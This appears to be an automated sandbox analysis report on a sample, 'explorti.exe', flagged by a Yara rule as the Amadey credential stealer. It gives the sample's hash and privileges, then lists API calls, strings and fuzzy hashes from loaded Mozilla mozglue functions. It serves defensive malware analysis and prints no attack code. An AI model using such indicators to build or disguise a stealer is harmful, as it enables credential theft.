Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x70000
File size:	1'945'600 bytes
MD5 hash:	6736102416370F08E14B120D5410FA2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000003.4093876285.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5F35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C67F688,00001000), ref: 6C5F35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5F35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5F35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5F363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5F369F
__aulldiv.LIBCMT ref: 6C5F36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5F3773
EnterCriticalSection.KERNEL32(6C67F688), ref: 6C5F377E
LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C5F37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5F37C4
EnterCriticalSection.KERNEL32(6C67F688), ref: 6C5F37CB
LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C5F3801
__aulldiv.LIBCMT ref: 6C5F3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5F3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5F3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5F394C

Strings

QPC, xrefs: 6C5F38FC
GTC, xrefs: 6C5F3912
AuthcAMDenti, xrefs: 6C5F3946
MOZ_TIMESTAMP_MODE, xrefs: 6C5F35DB
GenuntelineI, xrefs: 6C5F3639

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: f634040921f35b0eea2789530feb0b376285e7a234b4135b532e185e57b868d2
Instruction ID: ae5b6e22665f3c3b621aea985a60e67c72874dd9e28f11a251944836f67cabf9
Opcode Fuzzy Hash: f634040921f35b0eea2789530feb0b376285e7a234b4135b532e185e57b868d2
Instruction Fuzzy Hash: 79B1D571B093209FDB0DDF2AC894A5A77F5BB8A704F148D2DE499D3350D73098058FAA

Function 6C60C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C60C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C60C969
GetSystemInfo.KERNEL32(?), ref: 6C60C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C60C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C60C9E2

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: adae4016409be28a9c7b87b0c713ea7a4c10ab72bdfc57a16b48e8af9ccfc184
Instruction ID: ea0ab1f602709e0d25c2043ab4b3eac6a1b32a6c44a7defb6ce004247f9a3471
Opcode Fuzzy Hash: adae4016409be28a9c7b87b0c713ea7a4c10ab72bdfc57a16b48e8af9ccfc184
Instruction Fuzzy Hash: BC21C5317416247BDB0DAA25C9C4BAE72B9AB86744F50051AF903A7A80EB6058048BBE

Function 6C5F3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5F3095

Part of subcall function 6C5F35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C67F688,00001000), ref: 6C5F35D5
Part of subcall function 6C5F35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5F35E0
Part of subcall function 6C5F35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5F35FD
Part of subcall function 6C5F35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5F363F
Part of subcall function 6C5F35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5F369F
Part of subcall function 6C5F35A0: __aulldiv.LIBCMT ref: 6C5F36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F309F

Part of subcall function 6C615B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6156EE,?,00000001), ref: 6C615B85
Part of subcall function 6C615B50: EnterCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615B90
Part of subcall function 6C615B50: LeaveCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615BD8
Part of subcall function 6C615B50: GetTickCount64.KERNEL32 ref: 6C615BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5F30BE

Part of subcall function 6C5F30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5F3127
Part of subcall function 6C5F30F0: __aulldiv.LIBCMT ref: 6C5F3140

Part of subcall function 6C62AB2A: __onexit.LIBCMT ref: 6C62AB30

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 3e1371c1ac841b0546449f294d89ba1aa2724a09ded8fc9f2c12f6e559b30f3f
Instruction ID: b22d755705290fa2e715f224c7c122e7f20122a2fc477e63226915a5f0e2073d
Opcode Fuzzy Hash: 3e1371c1ac841b0546449f294d89ba1aa2724a09ded8fc9f2c12f6e559b30f3f
Instruction Fuzzy Hash: C1F04922D3075496CB15EF3588C15E6B370EFAB114F501B19E84413511FB2062D883EF

Non-executed Functions

Function 6C605477 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 575threadtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C605492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6054A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6054BE
__Init_thread_footer.LIBCMT ref: 6C6054DB

Part of subcall function 6C62AB3F: EnterCriticalSection.KERNEL32(6C67E370,?,?,6C5F3527,6C67F6CC,?,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB49
Part of subcall function 6C62AB3F: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F3527,6C67F6CC,?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62AB7C

GetCurrentThreadId.KERNEL32 ref: 6C6054F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C605516
GetCurrentThreadId.KERNEL32 ref: 6C60556A
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C605577
moz_xmalloc.MOZGLUE(00000070), ref: 6C605585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C605590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP), ref: 6C6055E6
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C605606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C605616
GetCurrentThreadId.KERNEL32 ref: 6C60563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C605646

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C605B38
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C605791
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C605D24
MOZ_BASE_PROFILER_HELP, xrefs: 6C605511
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C60584E
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6056E3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C605C56
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C605CF9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C605BBE
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C605D2B
GeckoMain, xrefs: 6C605554, 6C6055D5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C605749
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6054B9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6057C5
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C605D1C
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C605717
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6057AE
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C605D01
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C605766
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C605724
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C605AC9
MOZ_PROFILER_STARTUP, xrefs: 6C6055E1
[I %d/%d] profiler_init, xrefs: 6C60564E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C60548D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6054A3

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$CurrentThread$EnterExclusiveLeaveLock$AcquireCreation@Init_thread_footerProcessReleaseStamp@mozilla@@TimeV12@__acrt_iob_func__stdio_common_vfprintf_getpidfreemoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 1000357164-1266492768
Opcode ID: 9c11f1e9aa4da54aa4b6719c4ec568a404fcaf0cf5507455c51fd1a00f93563c
Instruction ID: 25002c8e6bab9c8ebef5900c22b72c78bdee71452a14603bef8b910cf271865d
Opcode Fuzzy Hash: 9c11f1e9aa4da54aa4b6719c4ec568a404fcaf0cf5507455c51fd1a00f93563c
Instruction Fuzzy Hash: B3220570A043109BEB099F65895875A77B4AF8734CF140D2AE94AA7B41EB35C444CF6F

Function 6C63B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C63B845
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63B852
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63B884
InitializeConditionVariable.KERNEL32(?), ref: 6C63B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C63B9FD
GetCurrentThreadId.KERNEL32 ref: 6C63BA05
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C63BA27
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63BA4B
free.MOZGLUE(?), ref: 6C63C9C7
free.MOZGLUE(?), ref: 6C63C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C63C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C63C878

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 5250d44739d19cdf35a7fbce3ef57e5f31e7fa869afeb79d693bb8d830e9291d
Instruction ID: 48600ae2d90f23a6a40ddbc54ab03e2511dea3655df97523b1216bee6b10e1aa
Opcode Fuzzy Hash: 5250d44739d19cdf35a7fbce3ef57e5f31e7fa869afeb79d693bb8d830e9291d
Instruction Fuzzy Hash: E1A2CC71A083908FC725CF29C480B9BB7E5BFCA314F105A2DE89D97751DB709909CB9A

Function 6C606C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C606CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C606D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C606D26

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C606D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C606D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C606D73
free.MOZGLUE(00000000), ref: 6C606D80
CertGetNameStringW.CRYPT32 ref: 6C606DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C606DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C606DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C606DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C606E10
CryptMsgClose.CRYPT32(00000000), ref: 6C606E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C606E34
CreateFileW.KERNEL32 ref: 6C606EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C606F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C606F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C60709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C607103
free.MOZGLUE(00000000), ref: 6C607153
CloseHandle.KERNEL32(?), ref: 6C607176
__Init_thread_footer.LIBCMT ref: 6C607209
__Init_thread_footer.LIBCMT ref: 6C60723A
__Init_thread_footer.LIBCMT ref: 6C60726B
__Init_thread_footer.LIBCMT ref: 6C60729C
__Init_thread_footer.LIBCMT ref: 6C6072DC
__Init_thread_footer.LIBCMT ref: 6C60730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6073C2
VerSetConditionMask.NTDLL ref: 6C6073F3
VerSetConditionMask.NTDLL ref: 6C6073FF
VerSetConditionMask.NTDLL ref: 6C607406
VerSetConditionMask.NTDLL ref: 6C60740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C60741A
moz_xmalloc.MOZGLUE(?), ref: 6C60755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C607568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C607585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C607598
free.MOZGLUE(00000000), ref: 6C6075AC

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C6072C8
SHA256, xrefs: 6C606EC0
(, xrefs: 6C60768A
wintrust.dll, xrefs: 6C6072CD

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 265510603915c629c3714f96b877014bc538e9e85bf646c149d0b142250c3f70
Instruction ID: d6605cef8a7cc05a270b64ca4bd92ce6de61b48ed3cfd16da25138cbaee4d07f
Opcode Fuzzy Hash: 265510603915c629c3714f96b877014bc538e9e85bf646c149d0b142250c3f70
Instruction Fuzzy Hash: 9852E7B1A042149FEB26CF25CD84FEA77B8EF46304F104599E909A7640DB70AF84CF69

Function 6C626FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C627019
LeaveCriticalSection.KERNEL32(6C67E7DC), ref: 6C627061
EnterCriticalSection.KERNEL32(?), ref: 6C6271A4
LeaveCriticalSection.KERNEL32(?), ref: 6C62721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C62723E
EnterCriticalSection.KERNEL32(?), ref: 6C62726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C6272B2
LeaveCriticalSection.KERNEL32(?), ref: 6C62733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C6273E8
LeaveCriticalSection.KERNEL32(?), ref: 6C62961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C629622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C629642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C62964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6296CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6296DB
AcquireSRWLockExclusive.KERNEL32(6C67E804), ref: 6C629747
GetSystemInfo.KERNEL32(?), ref: 6C629792
__Init_thread_footer.LIBCMT ref: 6C6297A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C67E810,00000040), ref: 6C6297CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E7B8,00001388), ref: 6C629838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E744,00001388), ref: 6C62984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E784,00001388), ref: 6C629874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E7DC,00001388), ref: 6C629895

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C629993
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C629933, 6C629A33, 6C629A4E
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6299A8
MALLOC_OPTIONS, xrefs: 6C6297CA
: (malloc) Unsupported character in malloc options: ', xrefs: 6C629BF4
MOZ_CRASH(), xrefs: 6C629B42
Compile-time page size does not divide the runtime one., xrefs: 6C629B38
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6299BD
<jemalloc>, xrefs: 6C629B33, 6C629BE3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6299D2

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 15ae9021ace22e03c9bbf3697f542c30118e7ca69f3fde8c7685bec518cfb9f9
Instruction ID: cae0a47e7c75adb230ff51a6aad07f5effc5c92864f38ed3e1354093cbc9b57d
Opcode Fuzzy Hash: 15ae9021ace22e03c9bbf3697f542c30118e7ca69f3fde8c7685bec518cfb9f9
Instruction Fuzzy Hash: 6A538072A057018FD704CF29C980655BBE1BFC9328F29C66DE8698B7A1D739E841CF85

Function 6C630DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C630F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C630F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C630FB7
EnterCriticalSection.KERNEL32(?), ref: 6C630FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C631031
LeaveCriticalSection.KERNEL32(?), ref: 6C6310D0
EnterCriticalSection.KERNEL32(?), ref: 6C63117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C631C39
EnterCriticalSection.KERNEL32(6C67E744), ref: 6C633391
LeaveCriticalSection.KERNEL32(6C67E744), ref: 6C6333CD
LeaveCriticalSection.KERNEL32(?), ref: 6C633431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C633437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C633793
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C633559, 6C63382D, 6C633848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6337A8
MALLOC_OPTIONS, xrefs: 6C6335FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C633A02
MOZ_CRASH(), xrefs: 6C633950
Compile-time page size does not divide the runtime one., xrefs: 6C633946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6337BD
<jemalloc>, xrefs: 6C633941, 6C6339F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6337D2

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

